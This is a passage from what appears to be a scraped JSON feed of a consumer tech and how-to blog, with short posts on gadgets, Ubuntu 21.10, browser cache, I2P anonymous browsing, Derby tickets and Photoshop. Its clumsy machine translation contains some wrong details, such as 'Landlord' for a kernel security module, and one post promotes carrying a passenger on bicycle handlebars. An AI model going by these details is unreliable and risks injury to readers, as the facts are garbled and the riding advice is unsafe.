the same size. a glass of water.\nFor those who were paralyzed, it was so much that they were confined to a wheelchair, so Neofect developed a robotic glove wrapped around the palms as well as the middle finger. Called NeoMano, this glove connected to a rubber pad can be controlled by an elbow or arm to activate the movement. The main mechanism is simple: Two wires run along the length of each finger and activate the grip in the palm, allowing users to hold objects weighing about 1kg.\n  Neofect said this lightweight glove is designed to be worn every day. Founded in 2010, the company has previously implemented Rapael Smart Glove to support hand and eye coordination in stroke recovery.\nAccording to the spokesperson, they will add voice recognition and motion to activate it. This glove will be sold on Kickstarter later this year for under $ 1,000.\nSee more:\nThe next robot can cure satellites, destroying the space fleet Sea stars inspire new generations of robots that can adapt to physical injuries Automatic Robomart will take the product to your door ncG1vNJzZmismaXArq3KnmWcp51ku6a7zJqlqGWipK%2BwwMicZKCkn6uytHnFqKlmqJGnrq3F2Z6bZqiRqbamutOs\n","link":"/post/robotic-gloves-for-paralyzed-patients/","section":"post","tags":null,"title":"robotic gloves for paralyzed patients"},{"body":"In addition to Vivo Z6 5G, Vivo continues to launch a new smartphone called Vivo Apex 2020, which is part of its conceptual product line to flaunt modern technology.\nApex 2020 is equipped with a curved screen that spills completely on the two sides, without a connection port (headset, charging port, sim tray or speakers .) or any physical buttons on this device. The device is also equipped with the most advanced selfie camera technology hidden under the screen, so there is no screen cutout.\nDo not have any connection port on Vivo Apex 2020 equipped with super fast wireless charging technology 60W, comparable to the superfast fast charging capacity of the top smartphones on other smartphones.\nThe battery capacity of the device has not been disclosed. Vivo only said it can charge 100mAh per minute.\nThe Vivo Apex 2020 also features a gimbal stabilizer on the main camera for 200% more effective vibration reduction compared to the traditional OIS optical image stabilization that most smartphones today use. The camera of Vivo Apex 2020 is also capable of 5x - 7.5x optical zoom. All will allow users to be able to capture zoomed images with minimal hand shake.\nVivo Apex 2020 will not be commercially available, but only launched by Vivo for the purpose of flaunting the technology. However, the device can also be renamed and sold in the future, like the case of the Vivo Nex 2018.\nncG1vNJzZmismaXArq3KnmWcp51kw6rCzmaYqZ2oYn9xfo9mqp6klp6ybq%2FAppyrmV2dtqWwxKdkrqaUmr9uwMeeZKybopqyr3nNnq5mn5mir6K4jKyrmpqZoba7sdFmbWmvXay2s7HLnqqsZZaWwLV5wqGYq5%2BZo7Q%3D\n","link":"/post/selfie-camera-hidden-under-the-screen-new-gimbal-stabilizer-60w-wireless-fast-charging/","section":"post","tags":null,"title":"Selfie camera hidden under the screen, new gimbal stabilizer, 60W wireless fast charging"},{"body":"Do you regularly \"clean up\" your browser data using the CCleaner tool or any other temporary file deletion tool? If so, stop this habit if you want to browse the Web quickly.\nThe cache includes a copy of the Web page bits. Your browser loads these bits on the hard drive when you are busy accessing a Web page, the speed of access is faster and saves bandwidth when \"downloading\".\n  1. Why does the browser create a cache? There are many good reasons for your browser to create different histories when you browse the Web, and the browser cache is one of the most useful features.\nInternet Explorer calls its cache Temporary Internet File, the same for other browsers and works the same way.\nWhen you visit any Web site, your browser will download all the resources the Web site requires. Includes images, style sheets, JavaScript files and page-related things.\nThe Style sheet is merely a type of text file with an extension named .css. This Style Sheet contains CSS commands. Each CSS command will format a certain part of HTML such as: font of text, border, background color, image alignment, etc.\nThe cache is where your browser stores all these copy files so you don't have to download them again when you visit these sites in the next time.\nFor example, when you visit the How To Geek page for the first time, your browser will download the How to geek Web logo image and store it in the cache. Every time you visit another site or revisit this Web site, your browser will reload the logo from the cache.\n  This helps you to reduce load time and speed up Web browsing. If you clear your browser cache, you will have to reload the Web site logo that you have visited and reload the Web site sources, and your Web browser will save them in the cache again.\nThis is why deleting the browser cache will slow down the browsing speed.\n2. Why do you want to clear the cache? The cache is deleted as part of the \"erase private browsing data\" tool built into all Web browsers. The reason is because the cache is the place to store files from the Web site you visit, people with access to your computer can check the cache and see the Web sites you have visited.\nIf you don't want others to know the Web pages you've visited, you can clear your browser cache to wipe this \"trace\" away.\nCache memory also takes up a lot of hard drive space. You can use tools like CCleaner to delete browser cache data. However then the cache will be rebuilt.\n  The browser limits the amount of data stored in the cache, so the browser automatically deletes the old data and maintains the cache size under control.\n3. Delete history and temporary files but do not clear the cache You can delete browsing history, cookies, download history and delete other data but do not delete the browser cache. Just leave the option of clearing the cache when you delete your browser data.\nIn addition, you can set the browser to delete data in a short time, such as within 1 hour to clear the browser track without clearing the entire cache.\n  When using a tool like CCleaner, you can leave the Internet Cache option unchecked to prevent the memory from browsing.\n  Note : Each browser has its own cache. So if you use Chrome browser, you just need to make sure that CCleaner or any other similar program does not delete the Chrome browser cache.\nJust change this option once on CCleaner, CCleaner will remember your settings.\n4. Browse sensitive Web pages without saving on the cache If you don't want other people to know the sensitive Web sites you have accessed, simply delete the browser cache.\nHowever, instead of having to visit the sensitive Web page once to clear the cache once, why don't you use anonymous Web browsing to access the Web site you want.\n  When you browse the Web in incognito mode, without any data, your browsing history . is saved, including the cache file.\nRefer to some of the following articles: 3 simple ways to display passwords on the browser Snap.do removal guide on Chrome, Firefox and Internet Explorer 4 tricks \"About: Config\" improves Firefox browser 44 shortcuts are useful on all browsers I wish you a happy new week!\nncG1vNJzZmismaXArq3KnmWcp51kxKK602arqGWSp7y4v8Rmq6GdXayyo3nQrqCco5yueqW7za1km51dm7ywuMisn2asn2KwrbHAq2StoJVir7O71qycq2WTlrCpsQ%3D%3D\n","link":"/post/want-to-browse-the-web-quickly-don-t-be-foolish-to-clear-the-browser-cache/","section":"post","tags":null,"title":"Want to browse the Web quickly, don't be foolish to clear the browser cache"},{"body":"When you go on the road and meet the billboards, logos or large banners are very beautiful and wonder how they are designed so beautifully. You may not know, to design things on the designer will use images in the form of vector, design images in the form of vector has great advantages compared to conventional bitmap images. With vector images you can zoom it out to any size still sharp and clear and normal images when enlarged will be smudged. And the leading software for designing vector graphics is called Aodobe Illustrator, so the graphic files from this software have an AI extension and it is considered the standard format. So, what is an AI file? Open the AI ​​file with any software and how to open the AI ​​file? The following article of TipsMake.com will answer for you.\n  I. What is AI file? Adobe Illustrator (AI) is a proprietary file format developed by Adobe to describe single-page vector drawings in EPS or PDF formats. The .ai file format is exported and used by Adobe Illustrator software.\nIn summary, the AI ​​file is a vector graphic file and designed primarily by Adobe Illustrator software.\nII. Software that can open AI files In addition to Adobe Illustrator , there are many software that can open AI files, but not all software can edit this type of file.\nIf you just need to open the AI ​​file to see it, it is possible to change the AI ​​file to a PDF extension (a common format) and can open it with any PDF reader software such as FoxitReader. Changing the file extension is also very simple, right-click on the AI ​​file, select Renme, and then change the .ai extension to .pdf.\nHere is an example of opening an AI file as a PDF:\n  In addition, we have the list of software that supports opening AI files as follows:\nAdobe Illustrator Cinema 4D \u0026nbsp;can import .ai files for conversion to 3D images or for basic editing. CorelDraw (proprietary program) can fix this file format with some limitations.\u0026nbsp; Adobe After Effects \u0026nbsp;can open and use .ai files for video editing. Corel Paint Shop Pro \u0026nbsp;(proprietary program) can edit this file format itself. DrawPlus \u0026nbsp;(proprietary program) can import v9 versions and above versions of this file format (must be saved as compatible PDF) FlexiSign (Vector Program used in Signmaking) Can read AI files. FreeHand (proprietary program) can naturally open and edit .ai file formats version 8 or lower. FreeHand will export to .ai format Ghostscript (GPL-licensed program) can convert posts posts AI files into various formats, while allowing programs to use Ghostscript like GIMP to import AI files. Zamzar (a free online web-based tool) can convert AI files to a variety of image formats, including BMP, GIF, JPG and PNG. XnView uses Ghostscript to handle AI, EPS, PS, and PDF; This can work for saved AI files with PDF compatibility options. Xara Xtreme (proprietary program) whose format support is described as \"working\". Xara Xtreme for Linux is similarly supported. UniConvertor (a free graphic translator, licensed by GPL) supports PostScript-based AI files in AI ver format. 9. SK1 (a free vector graphics editor licensed by the GPL) supports PostScript-based AI files in AI ver format. 9. Skencil (GPL-licensed program) also supports AI. Scribus (GPL's free licensed Desktop publishing program) can open, edit and embed AI files based on PostScript and PDF. Inkscape (a free, GPL-licensed program) can import Adobe Illustrator format based on old PostScript (up to AI ver.8) and PDF-based AI files (AI 9.0 and above). The most popular software for AI files are: Adobe Illustrator, CorelDraw, Gravit Designer and Inkscape (free). Also you can open AI files in Photoshop .\nIII. Open AI files with some software 1. CorelDraw CorelDraw is a graphic design program for Windows. Home \u0026amp; Student sets are affordable for users to choose.\nThis software works with original AI files made in Illustrator versions and including CS6, or with PDF-enabled files made in newer versions. To open the AI ​​file is very simple you just need to select File -\u0026gt; Open and then select the AI ​​file on your hard drive.\n  2. Inkscape The most famous alternative Adobe Illustrator software is Open Source Inkscape . It is available in Windows, Mac, and Linux versions for free.\nYou can directly open AI files using Inkscape. It does not support drag and drop. So, you need to go to File\u0026gt; Open, then select the document from the hard drive.\n  3. Gravit Designer Gravit Designer is considered to be the best free Illustrator alternative. It is available for Mac, Windows, Linux, Chrome OS, iPad and Android. There's also a cloud version running in the browser so users can edit AI files online.\nTo open and edit an AI file, you need to convert to SVG format first, then simply drag the file into the Gravit Designer window to open it.\n  Above TipsMake.com has answered for you what is AI file and how to use AI file. Hopefully through the article you can understand a little more about the AI ​​file format. Thank you for following the article.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWRo3qitYyfoKWdXZ28uHnTqGSoqJWjeqK6jJqgZp6ZobI%3D\n","link":"/post/what-is-an-ai-file-how-to-open-an-ai-file/","section":"post","tags":null,"title":"What is an AI file How to open an AI file"},{"body":"Here's what to expect in Ubuntu 21.10.\n1. GNOME 40 GNOME version 40 marked a major visual change. This is a redesigned GNOME from an earlier release in 2021. Canonical tweaks and tweaks aren't ready for 21.04, so 21.10 marks the debut of these changes in Ubuntu.\nIn typical Ubuntu fashion, the dock stays in place (always visible on the left side of the screen), but GNOME 40 has made some changes. For example, when you open Activities Overview, the workspace now rotates horizontally and is visible when you open the app drawer.\n  Ubuntu's dock also has some improvements - part of the transition. A divider now separates favorite apps from running ones, and the trash can icon on the dock also replaces the desktop version of the icon.\nAnother big feature is the addition of multi-touch gestures on the trackpad to activate or switch between workspaces and accessible applications.\n2. Firefox is offered as a snap   At Mozilla's request, the version of Firefox shipped by default with Ubuntu is no longer a DEB. Instead, it features Canonical's snap format, which allows Mozilla to have more direct control over how quickly Ubuntu users receive Firefox updates.\nYou can expect a shorter delay between when a new version of Firefox arrives and when the update arrives on your system. The snap format also offers some security benefits due to the limited amount of content in the system that Firefox can access.\nFirefox isn't the first browser that Canonical currently distributes as a snap. The first browser was Chromium, the open source platform for the proprietary Google Chrome. But Chromium was never selected as the default browser.\nThis change is not limited to the latest version of the Mozilla browser, but also includes extended support releases.\n3. Yaru Light Theme is now set as default   This is the first version of Ubuntu that ships with GTK4 and switches to a lightweight version of the Yaru theme as the default option. This means you'll see light gray title bars instead of black, a change that helps the app better match the look the developers intended for the app.\nUbuntu tweaks remain, such as various icons and the maintenance of the \"Minimize' and \"Maximize\" buttons. So you will continue to see differences between Ubuntu and upstream sources.\n4. Linux Kernel 5.13 brings better security and device support Version 21.10 ships with Linux Kernel 5.13, which provides new security features such as Kernel Electric-Fence (KFENCE), runtime memory error detector, and a new \"Landlord\" security module that can run alongside Another Linux Security Module (LSM) to better control or limit what running processes can and cannot access.\nThis kernel also adds support for the Amazon Luna gamepad, and improves support for other peripherals like the Apple Magic Mouse 2. Microsoft Surface laptop owners may also find better support for the hardware. your hardware in this Ubuntu release.\n5. Graphical Applications in Windows Subsystem for Linux Technically, this is a Windows feature, but a highlight of 21.10 is the inbuilt support for graphical applications on the Windows Subsystem for Linux. This means Windows users can run full-blown native graphical Linux applications rather than just command-line tools, without the need to dual-boot or run Linux in a virtual machine.\nIt's perhaps no surprise that people found a way to run graphical applications in WSL not long after WSL came out, but it's not a supported function and requires bridging. through many steps. This is no longer available.\nHowever, Canonical considers this a feature aimed at Windows developers, rather than an attempt to get Windows users in general to run native Linux applications.\n6. NVIDIA closed source driver now supports Wayland In version 21.04, Ubuntu continues to use Wayland as the default display server on devices that can support it. This is generally fine for machines with Intel or AMD graphics. What about NVIDIA? The open source drivers enabled a functional desktop, but the experience switches back to X.Org if you have the proprietary driver activated.\nWith version 21.10, you can now use Wayland with proprietary graphics drivers. This is a big change, as Linux is moving towards Wayland, with more security advantages than X.Org. But don't be surprised if there's no 100% equivalent. There's still a lot of work to be done to get the full live NVIDIA and Wayland closing code.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt06xkp52nYravedSbrKespWJ%2Fcn2P\n","link":"/post/what-s-new-in-ubuntu-21-10/","section":"post","tags":null,"title":"What's New in Ubuntu 21.10?"},{"body":"Preston Gralla\nNetwork administration - Xmarks add-in for Firefox is the latest iteration of popular add-ins. Foxmarks, this add-in will allow you to sync bookmarks and passwords on multiple computers using Firefox browser - even Releases are running on another operating system.\n However, this add-in can do a lot of things compared to Foxmarks, which can be seen as a \"super-set\" of Foxmarks because it can do everything Foxmarks can do. For example, when you perform a web search, many sites that appear in the search results page will have an Xmarks icon next to them. Click this icon, you will see a popup with the site thumbnail, a brief description of the site, the popularity of the site in Xmarks users, the number of site visitors and other information. (Only sites that have been bookmarked and viewed by other Xmarks users appear, so over time more and more of them will have icons and related information, and more and more people. use the program). Click Get Site Info in the popup window and you will go to the web page containing information about the site, including similar sites and the number of viewers.\nIn addition, when you bookmark a site in Firefox, you'll see a list of suggested tags, which are based on how other Xmarks users have tagged the site. This makes it easier to search through your bookmarks, because your sites will be tagged more comprehensively.\nNote that you can install it as if you installed Foxmarks, the program will update via an existing version of Foxmarks and will have your username and password. It will continue to sync and backup your bookmarks and passwords, and fix other computers using Foxmarks on Firefox, or rather Xmarks.\nYou can download this add-in here.\nncG1vNJzZmismaXArq3KnmWcp51kr7O71qycZqyYmnq4scFmmZ6spJq%2FbsPIrZ9mmZSZvK9516aYq6OjYrOwvoyfoKudlqTF\n","link":"/post/browse-the-web-better-with-add-on-xmarks-for-firefox/","section":"post","tags":null,"title":"Browse the web better with Add-on Xmarks for Firefox"},{"body":"For a long time now, Project Half Life 3 is a game that many gamers have been waiting for and there are many fan games of this series that create Half Life 3 versions in Fanmade style, and although Unofficial but the Half Life versions of this fan still have good graphics quality game gameplay appealing to fans of this series.\nAnd finally, Valve also made gamers meet their expectations when bringing the Half Life series back after 15 years of waiting with the new name Half Life: Alyx. Half Life Alyx is introduced as a VR (virtual reality) game and will still have all the familiar features of the Half Life series including exploration, puzzle and adventure.\nOf course, after 15 years, the game graphics will also have to change a lot. Configuration of Half Life Alyx this time will be much more beautiful and authentic. It also requires gamers to have a strong configuration to meet the Half Life Alyx configuration requirements, and the following is the Half Life Alyx configuration on the PC.\nConfigure play Diablo 4 on the computer Configure Rainbow Six Siege on the computer Configure Control gaming on the computer The plot and gameplay of Half Life Alyx Capital fully elements of the game series Half Life. When participating in Half Life Alyx gamers will be involved in adventures, puzzles and fight against the undead, combine empire and aliens in City 17 and save the future of humanity. .\n  The game takes place during the transition period between the first two parts of the game, and players will be able to control our protagonist according to the VR game control mechanism.\nTalk a little bit about gameplay, in previous versions, you can see our characters have to go pick up bullets and this is done easily. When the cartridges are usually placed in conspicuous positions right on the way.\n  However, in the Half Life Alyx trailer, there is a scene that shows a box of bullets out of sight by the trash before and Alyx has to clean up the trash to get bullets to load into the gun. In addition, Alyx's gravity gloves are also capable of stealing items from Combine bags or taking items and throwing at the enemy.\n  The healing for Half Life Elyx is also different from previous versions. Instead of standing in front of a blood tree and only hearing the familiar sound coming from it, Alyx will change color by putting his hand into the blood tree extracted from a very weird beetle.\n  What is even more special is that you can both heal and still be able to attack. Alyx's health status will be displayed on her gloves.\n  According to Valve, Half Life Alyx will be optimized for VR Valve Index, but it is not limited to other VR devices such as HTC Vive, Oculus Rift or Window Mixed Reality if the player has a PC connection cable.\n  In addition, if a player has purchased the VR Valve Index, apart from owning Half Life Alyx. Gamers will also receive other unexpected offers. However, with the Half Life Alyx PC version, the representative of Valve said that it will not be implemented because of the lack of interaction when Alyx can only bring keyboard and mouse experiences.\nMinimum configuration Half Life Alyx   Operating system: Windows 7 64bit and above CPU: Core i5-7500 3.4GHz or AMD Ryzen R5 1600 RAM memory: 12GB Graphics Card: Nvidia GeForce GTX 1060 6GB or AMD Radeon RX 580 8GB Free memory: 50GB DirectX 11 Configuration requires Half Life Alyx   Operating system: Windows 7 64bit and above\nCPU: Core i7-6700K 4-Core 4.0GHz or AMD Ryzen R5 1600 RAM memory: 16GB Graphics Card: Nvidia GeForce GTX 1080 8GB or AMD Radeon RX Vega 64 Air 8GB Free memory: 50GB DirectX 11\nAbove is an introduction to the story and gameplay of Half Life Alyx, along with the minimum configuration of the game. Compared to the configuration of many other games, Half Life Alyx is a bit high, but it will be a reasonable configuration of a VR game and will give players a most authentic experience.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYrWiuMVmo6KelWKurcXXZqanZaSdsm68wg%3D%3D\n","link":"/post/configure-half-life-alyx-on-the-pc/","section":"post","tags":null,"title":"Configure Half Life Alyx on the PC"},{"body":"You receive attachments on Gmail, you want to download those attachments to your computer to use. But the number of attachments in your Gmail is quite large if you download each file in turn will take a lot of time. You want to download the entire attachment on Gmail on a simple and fast way.\nThe article shows you how to download all attachments on Gmail using Mail Attachment Downloader software.\nStep 1: Download and install the Mail Attachment Dowloader software.\nSoftware interface after installation:\n  Step 2: Enter your email in the Email box and enter the password in the Password box.\nClick the Browse icon to change the path to the folder containing all attachments after downloading.\nThen click Connect and Download to start connecting to the email.\n  Step 3: When the dialog box Authorization requied . (requires access to gmail), you log into gmail and then click Launch validation web page .\n  A window appears and click Accept to agree with the requirements of Mail Attachment Downloader.\n  Then you copy the code shown.\n  Paste the code into the blank box in Authorization requied . and select Validate authorization code to authenticate. Then click continue .\n  Step 4: Click Connect and Download again to download the attached file.\n  Downloading takes place.\n  After the download has finished, you access the folder containing the attachment after downloading to see the results.\nSo with MailAttachment Downloader you can quickly download the entire attachment on Gmail without missing any attachments. You will save a lot of time and effort thanks to the MailAttachment Downloader software. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdlrmtecammKKkXZbBta3CoaSepqSoerW7jLKmrqpdmLyuvNStnKs%3D\n","link":"/post/download-all-gmail-attachments-to-your-computer/","section":"post","tags":null,"title":"Download all Gmail attachments to your computer"},{"body":"Cytus II is a famous music game released by Rayark. In the game, players will be able to enter the future world, where the Internet blends into one with real life. There, Aesir is a legendary DJ that has never been shown. Aesir decided to organize a super-scale liveshow with the idol and cult DJs to join. But before the live show starts, Aesir suddenly disappears.\nPlayers will play one of many musicians to find solutions to that mystery.\n  The gameplay of Cytus II is still in the touch and swipe style (Touch \u0026amp; Drag), combining melodies from melodious to overwhelming. The difficulty of each stage depends on the tempo of the song.\nPlayers must try to perform touches, swipes on the screen to the color circles that appear to the tune to score lots of points.\nWith graphics designed in a modern and innovative style, engaging story, Cytus II will take you on an exciting discovery journey to see the true face of the legendary DJ: Aesir.\n  Cytus II owns more than 50 extremely quality songs and more than 150 different maps, giving players countless challenges with constantly changing difficulty.\nRayark International Limited is currently offering a free donation program of Cytus II music game worth (45,000 VND) on both App Store and Google Play platforms in a short time. If you love this fascinating music game, please download it quickly by following the link below.\nCytus II on the App Store :\u0026nbsp;https://apps.apple.com/us/app/cytus-ii/id1290687550 Cytus II on Google Play :\u0026nbsp;https://play.google.com/store/apps/details?id=com.rayark.cytus2 ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmMa1wdJmoKJlpJ2ybrLApqauq12iwrS1wmaemqWVYra0ecWrnJ5ln6N6o7vToWSip6Nirq%2BwjJqlnaqfnrE%3D\n","link":"/post/download-cytus-ii-the-famous-music-game-is-free-on-both-ios-and-android/","section":"post","tags":null,"title":"Download Cytus II, the famous music game, is free on both iOS and Android"},{"body":"Garlic routing is an improved browsing technology, utilizing multiple layers of encryption to anonymize Internet traffic from companies, hackers and network service providers. In this regard, it has the same purpose as onion routing using Tor encrypted network for anonymity.\nHowever, there are some differences. In onion routing, data passes through intermediate nodes that are peeled layer by layer like onions. In addition, Tor uses two-way tunnels to ensure more efficient memory usage, low bandwidth costs and centralized control.\nHow to use Tor Browser to surf anonymously Anonymous browsing has more uses than you think Is the anonymous browsing mode really safe? What is Garlic routing? Garlic routing is an extension of the onion concept, in which many bulletins are packaged and encoded together, similar to garlic cloves. The hidden information is sent individually and is only revealed at the destination.\n  The biggest advantage of this 'garlic' technique is peer-to-peer and by using a different answer block, garlic routing has completely changed the global network concept. The idea is to ensure better protection, prevent client activity from being detected, even when an attacker can join the tunnel.\nTo browse the anonymous web with garlic routing, you must download and install the software called I2P.\nDownload and install I2P Invisible Internet Project (I2P) has primarily contributed to garlic routing. Although the anonymous browsing project is still in beta, you can use it now without any problems.\nTo download, visit the official link below and get software for Windows, Mac, Solaris / BSD, Android, Debian or Ubuntu.\nhttps://geti2p.net/en/download    Select a destination folder similar to normal Windows programs.\n  If you want, you can create an I2P shortcut in the Start menu or simply place it on the desktop.\n  This installation process only takes a few minutes.\n  When the installation is complete, you will receive a notification of completion.\n  Check bandwidth Click on the IP2 router control panel, use your computer's default browser to install more. You need to select the language first.\n  Next, perform a bandwidth test to see how much bandwidth you need.\n  As shown below, the bandwidth is expected to provide 2.46 Mbps download speed and 492 kbps upload speed. You should record this data to use for the next section.\n  Download I2P Firefox Browser Profile Next, you need to download the Firefox Browser Profile to work with I2P. And you need Firefox to surf the web \"garlic\".\nhttps://geti2p.net/en/download/firefox    After downloading, you need to run the browser profile program.\n  Click I Agree to agree to the launcher setup license agreement.\n  Click Launch the i2p browser? right after installation finishes. The next time you can directly launch the Firefox browser profile from the desktop.\n  When opened, you will see the home page that controls the I2P router with a complete list of I2P related websites. Go to the configuration page to adjust the settings.\n  On the I2P configuration page, you can see the parts that need to be adjusted manually but the most important adjustment is bandwidth. And this is where the previous bandwidth data is used.\n  After allocating enough bandwidth for I2P, you can surf the web anonymously like on a regular Firefox browser. No one, including Internet service providers, has any clues about your software, computer or IP address information.\n  You can use I2P garlic routing to send anonymous emails from the mail.i2p domain.\n  Like onion links, you will find many i2p links called eepsites. With onion, these links do not open in regular web browsers like Chrome.\n  Uninstall the program If you want to uninstall I2P, just run the uninstaller.jar file and don't save any traces of your online activities.\n  Onion is very popular with Dark web users and that is why they are attracting more attention from Internet service providers. In contrast, \"garlic\" routers are still inadequate to be blocked or attacked by DDoS attacks.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqipMS0sYyapaimqaK8tr%2FLsmSwoaSdeqit0aWgnGWipMK1tc2g\n","link":"/post/how-to-browse-anonymously-with-garlic-routing/","section":"post","tags":null,"title":"How to browse anonymously with Garlic Routing"},{"body":" The Kentucky Derby is a prestigious racing event that takes place each year on the first Saturday in May. You can attend the event with a budget-friendly general admission ticket or splurge on luxury seats. Tickets may be purchased during...\nMethod 1of 2:\nPurchasing Tickets During the Autumn Sale  Sign up online to be invited to the autumn ticket sale. Tickets to the Kentucky Derby are sold every fall for the following year's event, by invitation only. Access the online sign up form on the Kentucky Derby website to register for an invitation to the official sale. Enter your name, email address, city, state, and zip code.[1] You will receive ticket and pricing information that is specific to the sale by email after registering. Your invitation to the online sale will include specific directions about when and how to purchase tickets. The sign up form for the 2019 Kentucky Derby ticket sale can be accessed at https://www.kentuckyderby.com/tickets/2019.   Buy general admission tickets for the most budget-friendly option. General admission tickets to the Kentucky Derby are the cheapest tickets, costing approximately $75. They grant ticket holders access to the paddock area to see the horses saddled before the race, but do not offer any assigned seats. Buy these tickets if you are willing to sit outdoors and watch the race on a large video board from the infield.[2] Bring a blanket or folding chair to sit on while you watch the race as seating will not be provided.   Buy a 2-day pass to get reserved seating. The Kentucky Derby has a variety of reserved seat locations, located anywhere between the first turn and the finishing stretch. Buy these tickets if you want to attend both the Kentucky Derby and Oaks days, as these tickets are only available as a 2-day package. Choose between:[3] Grandstand bleacher seats, which range from approximately $340-$500. Grandstand stadium seats, which cost about $422-$460. Box seats, which are sold in groups of 6 seats that range between $2,499-$5995. Covered seating with complimentary food and drink, which can be purchased in the Angry Orchard Club, the Courtyard, the Vineyard Vines Club, or the Plaza Balcony, and cost approximately $800-$900.[4] Seating in an indoor dining room, which costs approximately $2,750 per person.   Purchase a ticket package to cover all the details of your Kentucky Derby experience. Ticket packages are available with extras including lodging, VIP fast access passes, transportation, and access to nearby events. Purchase a ticket package if you are visiting Louisville for the race and want all elements of your trip covered at once. View the available ticket packages on the Kentucky Derby website at https://derbyexperiences.com/kentucky-derby?package-group=View%20All. You can filter the listings of different ticket packages on the Kentucky Derby website by price or seating area.   Submit an online application to become a luxury suite holder. Private suites are available for patrons who wish to have a private, luxury experience with their guests at the Kentucky Derby. Suite packages include all-inclusive dining, a full bar, reserved parking, and racing programs for all guests. To view the race from a suite, apply online to be a Kentucky Derby suite holder. [5] Complete the corporate hospitality form at https://www.kentuckyderby.com/tickets/ticket-options/corporate-hospitality/corporate-hospitality-form. Specific requests should be forwarded to Tricia Speiden, the corporate hospitality sales manager, at (502) 638-3918 or tricia.speiden@kyderby.com. View the available suites at the Kentucky Derby at https://www.kentuckyderby.com/uploads/wysiwyg/assets/uploads/2017-SuitesBooklet.pdf.  Method 2of 2:\nBuying Resold Tickets  Visit the Kentucky Derby Ticket Exchange online. The Kentucky Derby has a single, authorized resale platform in partnership with Ticketmaster. Purchasing resold tickets through this platform is the best way to guarantee their legitimacy.[6] Access the resale service at https://www.ticketsnow.com/churchill-downs/resaleorder/kentucky-derby-tickets/event/436.\n  Sign into or create a Ticketmaster account to access the service. To access the Kentucky Derby Ticket Exchange you will need to have an active Ticketmaster account. Enter your login information to access your account if you already have one. If you don't already have one, follow the directions to set up a new account. [7] You will be prompted to enter your full name, email address, postal code, country of residence, and to choose a password for your new account.[8]   Narrow your choice of tickets by section and price. To view available tickets, select the type of tickets you want to buy and the number of tickets you need, and select your price range. If you want to view tickets in a specific area of the event, click on the interactive map presented. Click \"Find Tickets\" to generate your results.[9] A more detailed seating chart can be viewed on the Kentucky Derby website at https://www.kentuckyderby.com/tickets/seating-chart.   Enter your billing information to purchase the tickets of your choice. Once you have selected your tickets, you will be directed to the payment page. Use a major credit card like American Express, Visa, MasterCard, or Discover to purchase the tickets. Carefully enter your card number, the name listed on the card, and the billing address, then confirm your purchase.[10] You may also be able to pay with a debit card with a major credit card logo.   Check your email inbox for your electronic ticket. Resold Kentucky Derby tickets are only issued in electronic form, featuring a bar code that will be scanned at the event. After completing your purchase, check your email for your e-tickets. Print out the tickets or save them on your mobile device to be scanned at the Derby.[11] Individual tickets can be forwarded to your guests by email. A physical commemorative ticket can be purchased after the event as a souvenir.  tickets ticket  Kareem Winters Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqlrnqssc2trJyjqWKxpr7BsmStoZOgsrW%2F\n","link":"/post/how-to-buy-kentucky-derby-tickets/","section":"post","tags":null,"title":"How to Buy Kentucky Derby Tickets"},{"body":"Whether amateur or professional photo editing, we must be familiar with and master the basic functions of the Layer. In this article, I will introduce the operation of copying layers from one PSD file to another PSD file in Photoshop.\n  How to copy a layer from a PSD file is also quite simple, first, you open two PSD files to copy the layer and then perform the following steps:\nStep 1: You move the 2 PSD windows into 2 separate windows as shown below\n  Interface 2 separate windows as shown below.\n  Step 2: Left click and move the Layer to a PSD file next to it as shown below.\n  Step 3: After moving, the Layer copy will appear as shown below. You can move, edit that layer according to your liking.\n  Copying layer from PSD file to another PSD file is quite simple, isn't it? If you have difficulty implementing, then please leave a comment about your problem below the article to Thuthuatphanmem.vn to guide you!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufpcZurYylmLKdomKzs7vMZqannV2lwKV5xaKjnmWkpHqius6tn56qXaXApXnFoqOeZZmjerG0zq2mrKCfpQ%3D%3D\n","link":"/post/how-to-copy-a-layer-from-one-psd-file-to-another-psd-file-in-photoshop/","section":"post","tags":null,"title":"How to copy a layer from one PSD file to another PSD file in Photoshop"},{"body":" Have you ever been in a situation where two people are coming back from the same place, but only one person has a bike? Well if you have, it's a struggle because normally the person without a bike wants to ride one too. Here is a simple...\nMethod 1of 2:\nSitting on the seat and the center bar  Have the more experienced cyclist mount first. In preparing to go, the first person should hold the handlebars firmly and stand, both feet flat on the ground, while the other person mounts.\n  The other person should then sit down on the seat and put their feet on the rear axles while holding onto the first person. It is much easier if the person in front has a backpack.\n  The person in front should put their foot on the pedal and gently take off. This is difficult, but you have to keep the bike as straight up and down as possible, or else the takeoff is nearly impossible.\n  The person in front should stand up while pedaling, but if their legs get tired, and they're riding a man's style bicycle, they can sit on the tube, but they can't sit directly on it. It hurts. They have to sit on one side of that particular body part.\n Method 2of 2:\nSitting on the handlebars  If you have a mountain bike you could try having the second person sit on the handlebars.\n  Have the second person mount the handlebars and hold on.\n  Then have driver use legs to gain some momentum. Once speed is gained, driver can pedal like normal.\n  Note Driver can alternate from which side of neck he looks on. And the rider on handlebars can leave their legs dangling in the air.\n  The faster you go the easier it is to balance. This method is quite fun. It is easy to go fast.\n  For the rider to dismount all they need to do is hop off.\n  Lesley Montoya Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqZmbJurYyboKSdXay2tbSMra6oZaCavLG4xA%3D%3D\n","link":"/post/how-to-ride-a-bike-with-two-people/","section":"post","tags":null,"title":"How to Ride a Bike With Two People"},{"body":"If a photo is worth a thousand words, a bookmarked picture indicates exactly what you're saying is definitely worth more. iOS 11 has such a feature and is called Instant Markup.\nThe Instant Markup feature not only allows you to take screenshots on your iPad, iPhone or iPod touch device, but also allows you to edit and add images immediately when the photo is taken. You can easily add text to screenshots as well as signatures and shapes in any size and color you like.\nInstant Markup also provides screenshots, copy or delete specific sections. Once completed, the newly updated image can be saved to a photo album or shared with others.\n1. Open Instant Markup To access the Instant Markup interface, you first need to capture a screen shot by simultaneously holding down the Power button and the device's Home button. On iPhone X, press and release the volume up button 